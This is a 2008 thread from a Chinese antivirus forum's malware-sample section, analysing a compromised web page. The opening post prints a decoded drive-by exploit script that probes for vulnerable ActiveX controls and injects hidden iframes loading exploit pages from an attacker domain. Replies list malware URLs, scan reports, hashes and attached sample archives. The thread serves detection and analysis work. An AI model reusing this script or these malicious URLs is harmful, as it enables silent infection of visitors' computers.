收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 安全区 › 病毒样本 分享&分析区 › 网络安全（毒网分析） › 挺有意思的加密
12下一页
返回列表 发新帖
查看: 3836|回复: 14
收起左侧

[已鉴定] 挺有意思的加密

 关闭 [复制链接]
angela
发表于 2008-3-17 19:25:19 | 显示全部楼层 |阅读模式
http://www.688ip.com/dae5g45

要不是闪了下还真没注意到

加密挺有意思的

<script language="javascript">
try{var exp_0;var obj_0=(document.createElement("object"));obj_0.setAttribute("classid","clsid:BD96"+"C5"+"56-65"+"A3-11"+"D0-98"+"3A-00C0"+"4FC"+"29E"+"36");var obj_a=obj_0.createobject("Ad"+"odb.Stre"+"am","")}catch(exp_0){};finally{if(exp_0!="[ob"+"ject Er"+"ror]"){document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/gdisvc.htm'></iframe>")}}
try{var exp_1;var obj_1=new ActiveXObject("PPla"+"yer.XP"+"Pla"+"yer.1")}catch(exp_1){};finally{if(exp_1!="[ob"+"ject Err"+"or]"){document.write("<iframe width='25' height='0' src='http://ww.shitip.com/file/xunlei.htm'></iframe>");}}
try{var exp_2;var obj_2=new ActiveXObject("IER"+"PCt"+"l.IE"+"RPC"+"tl.1")}catch(exp_2){};finally{if(exp_2!="[ob"+"ject Err"+"or]"){document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/real.htm'></iframe>");}}
try{var exp_3;var obj_3=new ActiveXObject("GLC"+"HAT.GLC"+"hat"+"Ctrl.1")}catch(exp_3){};finally{if(exp_3!="[ob"+"ject Err"+"or]"){document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/lz.htm'></iframe>");}}
try{var exp_6;var obj_6=new ActiveXObject("M"+"PS.St"+"ormP"+"layer")}catch(exp_6){};finally{if(exp_6!="[ob"+"ject Err"+"or]"){document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/bf.htm'></iframe>");}}
try{var exp_7;var obj_7=new ActiveXObject("PO"+"WERP"+"LAYER.Pow"+"erPlaye"+"rCtrl.1")}catch(exp_7){};finally{if(exp_7!="[ob"+"ject Err"+"or]"){document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/pps.htm'></iframe>");}}
document.write("<iframe width='0' height='0' src='http://ww.shitip.com/file/sdr.htm'></iframe>");
</script>

解出来后的
回复

举报

深红的雪
发表于 2008-3-17 19:43:52 | 显示全部楼层
都连不上

h ttp://ww.shitip.com/file/images/gdisvc.jpg
回复

举报

qigang
发表于 2008-3-17 20:17:51 | 显示全部楼层
过会去解解。
回复

举报

tanlimo
发表于 2008-3-17 20:19:36 | 显示全部楼层
可杀

1.jpg

2.jpg

[ 本帖最后由 tanlimo 于 2008-3-17 21:11 编辑 ]

样本.rar

42.99 KB, 下载次数: 83
回复

举报

深红的雪
发表于 2008-3-17 20:33:06 | 显示全部楼层
报的很少
红伞启发

VirSCAN.org Scanned Report :
Scanned time   : 2008/03/17 20:28:22 (CST)
Scanner results: 14%的杀软(5/36)报告发现病毒
File Name      : gdisvc.jpg
File Size      : 20992 byte
File Type      : MS-DOS executable (EXE), OS/2 or MS Windows
MD5            : 74bf35ea53da319ad4aedd1f0314d006
SHA1           : 7acb1e5cccdb4d2d7fd66fadc4d6011d7feed8f9
Online report  : http://virscan.org/report/737c7399bc1da1b0d29326dae1c0866b.html

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      3.0.0.126       2008.03.16        2008-03-16  3.98   -
安博士V3       2008.03.17.01   2008.03.17        2008-03-17  1.37   -
AntiVir        7.6.0.73        7.0.3.37          2008-03-17  3.74   HEUR/Malware
Arcavir        1.0.4           200803161057      2008-03-16  3.22   -
AVAST          1.0.8           080316-0          2008-03-16  4.57   -
AVG            7.5.51.442      269.21.7/1331     2008-03-16  2.31   -
BitDefender    7.60825.1004248 7.18052           2008-03-17  5.74   -
CA (VET)       9.0.0.143       31.3.5621         2008-03-17  10.36  -
ClamAV         0.92            6273              2008-03-17  0.16   -
Comodo         2.11            2.0.0.467         2008-03-17  2.31   -
CP Secure      1.1.0.715       2008.03.17        2008-03-17  21.05  -
Dr.WEB         4.44.0.9170     2008.03.17        2008-03-17  9.45   -
ewido          4.0.0.2         2008.03.17        2008-03-17  2.95   -
F-PROT         4.4.1.52        20080316          2008-03-16  2.99   Possible W32/VB-Wird-based!Maximus
F-SECURE       5.51.6100       2008.03.17.02     2008-03-17  0.20   -
飞塔           2.81-3.11       8.854             2008-03-17  2.21   Suspicious
ViRobot        20080317        2008.03.17        2008-03-17  0.67   -
IKARUS         T3.1.01.20      2008.03.10.70432  2008-03-10  2.82   Virus.Win32.VB.FGK
江民杀毒       10.00.650       2008.03.17        2008-03-17  1.69   -
卡巴斯基       5.5.10          2008.03.17        2008-03-17  12.21  -
金山毒霸       2007.6.20.249   2008.3.17         2008-03-17  1.02   -
迈克菲         5.2.00          5252              2008-03-14  3.76   -
Microsoft      1.3301          2008.03.17        2008-03-17  7.09   -
MKS_VIR        2.01            2008.03.16        2008-03-16  7.95   -
NORMAN         5.91.10         5.90              2008-03-14  15.75  -
熊猫卫士       9.04.03.0001    2008.03.16        2008-03-16  3.25   -
趋势           8.500-1001      5.168.04          2008-03-17  0.07   -
Prevx          V2              20080317          2008-03-17  6.85   -
QuickHeal      9.00            2008.03.14        2008-03-14  2.49   -
瑞星           20.0            20.36.02.00       2008-03-17  2.27   -
SOPHOS         2.71.3          4.27              2008-03-10  5.82   Mal/Behav-160
赛门铁克       1.3.0.24        20080316.002      2008-03-16  0.65   -
nProtect       2008-03-17.00   1219786           2008-03-17  12.35  -
The Hacker     6.2.92          v00247            2008-03-15  1.50   -
VBA32          3.12.6.2        20080317.0644     2008-03-17  2.86   -
VirusBuster    4.3.19:9        9.123.12/11.0     2008-03-16  5.41   -
回复

举报

qigang
发表于 2008-3-17 20:48:42 | 显示全部楼层

http://www.688ip.com/dae5g45

FreShow里怎么是Not Found
回复

举报

promised
发表于 2008-3-17 21:03:47 | 显示全部楼层
感染可执行文件的一个老毒
看来又更新了
回复

举报

dikex
发表于 2008-3-17 21:51:18 | 显示全部楼层
原帖由 qigang 于 2008-3-17 20:48 发表
FreShow里怎么是Not Found


http://www.688ip.com/dae5g45

这个网页的确是失效了，但也的确是被挂了  

因为服务器返回的404信息里面有异常代码：<script src="http://ad.shitip.com/file/da.js"></script>

P.S. 某服务器返回的404信息是可以自定义的，如Google的那些，例子：http://www.google.com/2.htm

所以对于那个域名，只要随便访问一个不存在的URL，就能发现挂马现象，随便写个地址看看吧：http://www.688ip.com/dikex
回复

举报

tanlimo
发表于 2008-3-17 22:22:34 | 显示全部楼层
后续.........

ESS扫描日志
病毒库版本: 2952 (20080317)
日期: 2008-3-17  时间: 22:30:20
已扫描的磁盘、文件夹和文件: D:\Documents and Settings\xx\桌面\123.rar
D:\Documents and Settings\xx\桌面\123.rar > RAR > HoneyMain.exe - Win32/TrojanClicker.Agent.NCS 特洛伊木马 的变种
D:\Documents and Settings\xx\桌面\123.rar > RAR > HoneyDll.dll - Win32/TrojanClicker.Agent.NCS 特洛伊木马 的变种
D:\Documents and Settings\xx\桌面\123.rar > RAR > HoneySys.dat - Win32/TrojanClicker.Agent.NCS 特洛伊木马 的变种
D:\Documents and Settings\xx\桌面\123.rar > RAR > csrss.exe - Win32/TrojanClicker.VB.YS 特洛伊木马 的变种
D:\Documents and Settings\xx\桌面\123.rar > RAR > ntserv.exe - Win32/TrojanClicker.VB.YS 特洛伊木马 的变种
D:\Documents and Settings\xx\桌面\123.rar > RAR > top[1].exe - Win32/TrojanClicker.Agent.NCS 特洛伊木马 的变种
已扫描的对象数: 6
发现的威胁数: 6
完成时间: 22:30:27  总扫描时间: 7 秒 (00:00:07)


MS还是那几个文件

74bf35ea53da319ad4aedd1f0314d006   csrss.exe
a510cf78f183e7ec5c84a89c4b91fced   HoneyDll.dll
c7c21677265b7a84a1473070e23da8d3   HoneyMain.exe
3420f3b0d17a7320129db38fc5ac6e7e   HoneySys.dat
74bf35ea53da319ad4aedd1f0314d006   ntserv.exe
c7c21677265b7a84a1473070e23da8d3   top[1].exe
74bf35ea53da319ad4aedd1f0314d006   gdisvc.jpg
c7c21677265b7a84a1473070e23da8d3   top.jpg


[ 本帖最后由 tanlimo 于 2008-3-17 22:39 编辑 ]

123.rar

101.34 KB, 下载次数: 95
回复

举报

qigang
发表于 2008-3-17 22:34:45 | 显示全部楼层

回复 9楼 tanlimo 的帖子

rising２０.３６.０２不杀。包括上面那包！
回复

举报

下一页 »
12下一页
返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-15 02:12 , Processed in 0.134710 second(s), 20 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表